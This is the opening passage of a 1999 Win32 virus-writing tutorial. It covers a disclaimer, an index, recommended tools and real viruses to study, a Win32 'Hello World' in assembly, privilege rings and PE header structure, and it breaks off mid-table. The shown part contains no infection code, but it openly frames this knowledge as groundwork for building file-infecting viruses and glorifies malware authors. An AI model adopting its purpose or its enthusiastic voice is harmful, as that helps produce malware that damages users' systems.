ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ³³³³³³³³³³³ÃÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁ´³³³³³³³³³³³³ ³³³³³³³³³³ÃÅ Billy Belceb£ Virus Writing Guide 1.00 for Win32 Å´³³³³³³³³³³³ ³³³³³³³³³³³Ã´³³³³³³³³³³³³ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ Disclaimer ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ The autor of this document isn't responsible of any kind of damage that co- uld be made with the bad use of this information. The objective of this tu- torial is to teach people how to create, and defend againist the attack of a lame YAM virus :) This tute is for educational purposes only. So, lawyers, i don't give a shit if a lamer takes this information and makes destructive viruses. And if through this document you see anywhere that i encourage to destroy or corromp data, go directly to buy glasses. ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ Presentations ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ Hello dear comrades, do you remember the Billy Belceb£ Virus Writing Guide? That was a big tute about the nowadays obsolete MS-DOS viruses. Well, there i explained step by step a lot of the most known viral techinques for DOS, and it was written for teach the beginners, and make them the less lame possible. Well, here i am again, and writing another (i hope) cool tutorial, but this time i'll speak about the new threat for the computers of today, Win32 viruses, and of course all the things that are related to that matter. I saw the lack of complete tutorials, so i asked myself... Why don't i write a tutorial about this? And here i am again :) The real pioneer in Win32 viruses was VLAD gro- up, and the pioneer of making tutorials in the way i like was Lord Julus. But i won't forget a guy that wrote interesting tutes, and released before Lord Julus', of course i'm talking about JHB. Interesting techniques were researched by Murkry, and later also by Jacky Qwerty... I hope i'm not forgetting anyone important in Win32 virus coding (short) history. Take note that i don't forget the roots of all this. As in my Virus Writing Guide serials, i have to thank some music groups, as Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory, Korn, Hamlet and Def Con Dos. All those thingies make the perfect atmosphere to write a lot for huge tutes and code. Heh, many changes happened to the typical structure of my guides, now i put an index, and almost all the code presented is mine, or based in another's but adapted by me, or simply, a very little percentage, ripped ;) Just kid- ding. But hey,i tried to solve all the things i know i fucked in my VWGs for the now completly extinct MS-DOS (RIP). I must greet to Super/29A, that helped me with some aspects of this guide, he has been one of my beta-testers, and he has contributed with some things to this project. NOTE: English ain't my first language (it's spanish), so excuse me for all my misspells i made (a lot of), and notify me them for later updates of this document. I've included some documents already released independently in some VX magazines, but it's worth to read them because i fixed, spell- checked them, and also i've added some more additional information. And remember: versions 1.00 aren't never perfect, so notify me the possible mistakes in this doc for further updates (i'll place the nick of the guy that points me a bug in this same doc with a greet). --- Contact me (but not for ask bullshits, i don't use to have time) þ E-mail billy_belcebu@mixmail.com þ Personal web page http://members.xoom.com/billy_bel http://www.cryogen.com/billy_belcebu Sweet dreams are made of this... (c) 1999 Billy Belcebu/iKX ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ Index ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ Somebody (hi Qozah!) have told me, while he read a beta of thids tute, that it was a bit chaotic, as it was very easy to get lost between chapters. I've tried to reorganize a bit all this, anyway, i'm still chaothic, and my tutes are italso :) 01. Disclaimer 02. Presentations 03. Index 04. Useful things for virus coding 05. A brief introduction 06. The PE header 07. Ring-3, coding in the user level 08. Ring-0, coding in the god level 09. Per-Process residency 10. Win32 optimization 11. Win32 antidebugging 12. Win32 polymorphism 13. Advanced Win32 techniques 14. Appendix 1: Payloads 15. Appendix 2: About the author 16. Last Words ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ Useful things for virus coding ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ You need some things before start writing virii. Here you have the programs i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :) þ Windows 95 or Windows NT or Windows 98 or Windows 3.x + Win32s :) þ The TASM 5.0 package (that includes TASM32 and TLINK32) þ SoftICE 3.23+ (or better) for Win9X, and for WinNT. þ The API list (Win32.HLP) þ Windows95 DDK, Windows98 DDK, Windows2000 DDK... ie, all M$ DDKs and SDKs. þ Strongly recommended Matt Pietrek document about PE header. þ Jacky Qwerty's PEWRSEC tool (depending if you put code in '.code'). þ Some hash... oh, shit! It's what i want! :) þ Some e-zines like 29A(#2,#3),Xine(#2,#3,#4),VLAD(#6),DDT(#1)... þ Some Windows viruses, like Win32.Cabanas, Win95.Padania, Win32.Legacy... þ Some Windoze heuristical AV (NODICE32 recommended)-> www.eset.sk þ Neuromancer, by William Gibson, it's the holy book. þ This guide, of course! I hope i'm not forgetting anything important. ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ A brief explanation ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ Well, begin erasing of your head the concept of 16 bit MS-DOS coding, the charming 16 bit offsets, the interrupts, the ways of going resident... all this stuff that we have been using for a lot of years, nowadays haven't any use. Yes, they aren't useful now. In this document, when i'm talking about Win32, i mean Windows 95 (normal, OSR1, OSR2), Windows 98, Windows NT or Windows 3.x + Win32s. The most dramatical change, at least in my humble vi- ewpoint is the substitution of the interrupts for APIs, followed by the change of the 16 bit registers and offset to 32 bit ones. Well, Windows open us the doors for use another language instead ASM (as C), but i'll stay with the ASM forever: it's in most cases better to understand and more easy- ly optimizable (hi Super!). As i was saying some lines above, you must use a new thing called API. You must know that the parameters must be in the stack and the APIs are accessed using a CALL. PS: As i call Win32 to all the above said platforms, i call Win9X to Win95 (in all its versions) and Win98. I call Win2k to Windows 2000. Take note of this. % Changes between 16 and 32 bit programming % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We will work ussually with double words instead words, and this thing open us a new world of possibilities. We have two more segments to add to the already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the reggies: Imagine we have to access to the less significant word of EAX. What can we do? This part can be accessed by using AX register, that handles its LSW. Imagine that EAX = 00000000, and we want to put a 1234h in the LSW of this. We must simply do a "mov ax,1234h" and all the work is done. But what if we wanna access to the MSW (Most Significant Word) of EAX. For his purpo- ses we can't use a register: we must play using ROL (or SHL if LSW is shit). Well, the problem isn't really here. Use that for move a value from MSW to LSW. Let's continue with the typical example we always try to do when we have a new language: the "Hello world!" :) % Hello World in Win32 % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's very easy. We must use the "MessageBoxA" API, so we define it with the already known "extrn" command, and then push the parameters and call the said API. Note that the strings must be ASCIIZ (ASCII,0). Remember that the parameters must be pushed in reverse order. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .386 ; Processor (386+) .model flat ; Uses 32 bit registers extrn ExitProcess:proc ; The API it uses extrn MessageBoxA:proc ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; With the "extrn" directive we put all the API we will use among the prog ; ; ExitProcess is the API we use 4 return control to OS, and MessageBoxA is ; ; used for show a classical Windoze message box. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; .data szMessage db "Hello World!",0 ; Message for MsgBox szTitle db "Win32 rocks!",0 ; Title of that MsgBox ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Here we can't put the data of the real virus. As this is an example, we ; ; can use it, and mainly because TASM refuses to assemble the code if we ; ; don't put some data here. Anyway... Use it for put the data of the 1st ; ; generation's host of your virus. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; .code ; Here we go! HelloWorld: push 00000000h ; Sytle of MessageBox push offset szTitle ; Title of MessageBox push offset szMessage ; The message itself push 00000000h ; Handle of owner call MessageBoxA ; The API call itself ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; int MessageBox( ; ; HWND hWnd, // handle of owner window ; ; LPCTSTR lpText, // address of text in message box ; ; LPCTSTR lpCaption, // address of title of message box ; ; UINT uType // style of message box ; ; ); ; ; ; ; We push the parameterz in the stack before call the API itself, and if u ; ; remember, stack uses that charming thing called LIFO (Last In First Out) ; ; so we have to push da parameters in reverse order. Let's see a brief des ; ; cription of each one of the parameters of this function: ; ; ; ; þ hWnd: Identifies the owner window of the message box to be created. If ; ; this parameter is NULL, the message box has no owner window. ; ; þ lpText: Points to a null-terminated string containing da message to be ; ; displayed. ; ; þ lpCaption: Points to a null-terminated string used for the dialog box ; ; title. If this parameter is NULL, the default title Error is used. ; ; þ uType: Specifies a set of bit flags that determine the contents and ; ; behavior of da dialog box. This parameter can be combination of flags ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; push 00000000h call ExitProcess ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; VOID ExitProcess( ; ; UINT uExitCode // exit code for all threads ; ; ); ; ; ; ; This function is the equivalent under Win32 enviroments to the very well ; ; know Int 20h, of the Int 21h's functions 00, 4C, etc. It's simply da way ; ; for close the current process, ie finish execution. Here you have the ; ; only parameter: ; ; ; ; þ uExitCode: Specifies the exit code for da process, and for all threads ; ; that are terminated as result of this call. Use da GetExitCodeProcess ; ; function to retrieve da process's exit value. Use da GetExitCodeThread ; ; function to retrieve a thread's exit value. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; end HelloWorld ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As you can see, it's very simple to code. Maybe not as easy as the same in 16 bit enviroments, but really simple if you think about all the advantages that the 32 bits brings to us. Well, now that you know how to make the "Hello World", you are able to infect the world ;) % Rings % ÄÄÄÄÄÄÄÄÄ I know that you all are afraid of what's coming next, but, as i will demons- trate, it ain't as difficult as it seem. Let's remember some things that you must have clear: the processor has four privilege levels: Ring-0, Ring-1, Ring-2 and Ring-3, being this last the one with more restrictions, and being the first the valhalla of the virus coder, almost complete freedom for code. Just remember the charming DOS, where we always coded in Ring-0... And now think that you can do the same under Win32 platforms... Well, stop dreaming and let's work. Ring-3 is the also denominated "user" level, where we have a lot of restric- tions, that completly fuck our anarchy needs. Microsoft coders did a mistake when they released Win95 and said that it was "uninfectable", as was demons- trated before the OS was sold, with the awesome Bizatch (and misnamed later to Boza, but it is another history). They though that the API couldn't be accessed and used by a virus. But they didn't think about the supreme intel- ligence of the virus coder, so... We can code virus in user level, of course You only need to take a look to the mass of new Win32 runtime viruses that are being released this days, they are all Ring-3... They aren't bad, don't misunderstood me, and btw, the Ring-3 viruses are the only possible nowadays for infect all Win32 enviroments. They are the future... mainly because the soon release of Windows NT 5.0 (or Windows 2000). We have to search for the APIs for a succesful life of the virus (that thing made of Bizatch to spread badly, because it "harcoded" the API addresses, and they might change from a Windows version to another one), and we can do it with some different ways as i'll explain later. Ring-0 is another history, very different of Ring-3. Here we have the level that the kernel uses for its code, the "kernel" level. Ain't it charming? We can access to ports, to places we haven't dreamed before... the most near to an orgasm you can be. We can't access directly without using one of the tricks we actually know, such as the IDT modification, the "Call Gate" technique that SoPinKy/29A shown in 29A#3, or the VMM inserting, technique already seen in Padania or Fuck Harry viriis. We don't need APIs, as we work directly with VxD's services, and their address is assumed to be the same in all Win9X based systems, so we "hardcode" them. I'll make a deep description of that in the chapter fully dedicated to Ring-0 in this document. % Important things % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I think i should put this before in this document, anyway, it's better to know it anywhere rather than don't know it :) Well, let's talk something about the internal thingies of our Win32 OS. First of all, you must have clear some concepts. Let's begin writing about selectors. What is a selector? Well, pretty easy. It's a very big segment, and this form the Win32 memory, also called flat memory. We can direct 4 Gigs of memory (4.294.967.295 bytez), only by using 32 bit offsets. And how is all this memory organized? Just see some of that diagrams i love to do: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ OFFSET = 00000000h <-> 3FFFFFFFh ³ Application Code And Data ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ OFFSET = 40000000h <-> 7FFFFFFFh ³ Shared Memory ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ OFFSET = 80000000h <-> BFFFFFFFh ³ Kernel ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ OFFSET = C0000000h <-> FFFFFFFFh ³ Device Driverz ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Result: we have 4 Gigs of usable memory. Charmin isn't it? Take note of one thing: WinNT has the last two sections apart of the first ones. Well, now i will put a sort of definitions that you must know, and i will assume you know in the rest of this tutorial. þ VA: VA stands for Virtual Address, that is the address of something, but in memory (remember that in Windowz the things are not exactly equal in memory and in disk). þ RVA: RVA stands for Relative Virtual Address. Is very important to have this cle- ar. RVA is the offset of something relative to where the file is memory- mapped (by you or by the system). þ RAW Data: RAW Data is the name we use to call how is the data physically, that is,just exactly as how it is in disk (data in disk != data in memory). þ Virtual Data: Virtual Data is the name we give to the data when it is loaded by the system in memory. þ File Mapping: Technique, implemented in all the Win32 enviroments, that consists in a more fast (and uses less memory) way of file manipulation, and more easily under- standable than the DOS way. All what we modify in memory, is also modified in disk. The File Mapping is also the only way for exchange information bet- ween processes that works in all Win32 enviroments (in NT even!). % How to compile things % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Damn, i've almost forgotten this :) Well, the usual parameters for compile a Win32 ASM program, are, at least for all the examples of this tutorial, the following ones (while 'program' is the name of the ASM file, but without any extension): tasm32 /m3 /ml program,,; tlink32 /Tpe /aa program,program,,import32.lib pewrsec program.exe I hope it's enough clear. You can also use makefiles, or build a bat for do it automatically (as i do!). ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ The PE header ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ This is probably the most important chapter of all the document. Read it! % Introduction % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's very important to have clear the structure of the PE header for write our windoze viruses. Well, here i'll list what i though that was important, but here it is NOT all the information about the PE file, for know more just take a look to the documents i recommended about the PE file above, in "Useful..." chapter. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ OFFSET = 00000000h ³ ³ ³ DOS stub ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ OFFSET = [DOS Stub+3Ch] ³ ³ ³ PE stuff ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Let's make a deep analysis of both two situation in general. Let's see some stuff as Micheal J. O'Leary's diagram style. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ Base of Image Header ³ DOS compatible EXE header ³Ä¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ Unused ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ OEM identifier ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ OEM info ³ ÃÄÄ Uninteresting (DOS Compatibility) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ Offset to PE Header ³ÄÄÄÄ Very interesting ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ DOS Stub program and reloc table ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ Unused ³ÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ PE header (IMAGE_FILE_HEADER) ³Ä¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ PE header (IMAGE_OPTIONAL_HEADER) ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄ Very very interesting :) ³ Section Table ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ³ Sections ³ÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Now you have seen a general approach to PE header, that wonderful thingy (but also complicated), our new n§1 target. Ok, ok, you have a "general" view of all that stuff, but still you need to know the internal structure of only the PE Header IMAGE_FILE_HEADER itself. Tight your belts! IMAGE_FILE_HEADER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +00000000h ³ "PE\0\0" ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000004h ³ Machine ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000006h ³ Number Of Sections ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000008h ³ Time Date Stamp ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000000Ch ³ Pointer To Symbol Table ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000010h ³ Number Of Symbols ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000014h ³ Size Of Optional Header ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000016h ³ Characteristics ³ Size : 1 WORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : 18h BYTES I'm gonna make a brief description (a resume of what Matt Pietrek said in his wonderful document about PE file) of the fields of the IMAGE_FILE_HEADER þ PE\0\0: This is the mark that every PE file has. Just check for its existence while coding your infection. If it is not here, it's not a PE, ok? þ Machine: As the kind of computer we can be using could be a non-PC compatible and suck like (NT has an opened hierarchy for those things, you know), and as the PE file is common for all the whole thing, in this field goes for what kind of machine the application is coded for. Could be one of these valuez: IMAGE_FILE_MACHINE_I386 equ 14Ch ; Intel 386. IMAGE_FILE_MACHINE_R3000 equ 162h ; MIPS little-endian,160h big-endian IMAGE_FILE_MACHINE_R4000 equ 166h ; MIPS little-endian IMAGE_FILE_MACHINE_R10000 equ 168h ; MIPS little-endian IMAGE_FILE_MACHINE_ALPHA equ 184h ; Alpha_AXP IMAGE_FILE_MACHINE_POWERPC equ 1F0h ; IBM PowerPC Little-Endian þ Number Of Sections: Very important field for our infections. It tells us the number of sections that the file has. þ Time Date Stamp: Holds the number of seconds that passed since December 31st of 1969 at 4:00 AM until the time when the file was linked. þ Pointer To Symbol Table: Uninteresting, because it's only used by OBJ files. þ Number Of Symbols: Uninteresting, because it's only used by OBJ files. þ Size Of Optional header: Holds the amount of bytes that the IMAGE_OPTIONAL_HEADER occupies (see the description of IMAGE_OPTIONAL_HEADER below). þ Characteristics: The flags that give us some information more about the file. Uninteresting for all us. IMAGE_OPTIONAL_HEADER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +00000018h ³ Magic ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000001Ah ³ Major Linker Version ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000001Bh ³ Minor Linker Version ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000001Ch ³ Size Of Code ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000020h ³ Size Of Initialized Data ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000024h ³ Size Of UnInitialized Data ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000028h ³ Address Of Entry Point ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000002Ch ³ Base Of Code ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000030h ³ Base Of Data ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000034h ³ Image Base ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000038h ³ Section Alignment ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000003Ch ³ File Alignment ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000040h ³ Major Operating System Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000042h ³ Minor Operating System Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000044h ³ Major Image Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000046h ³ Minor Image Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ 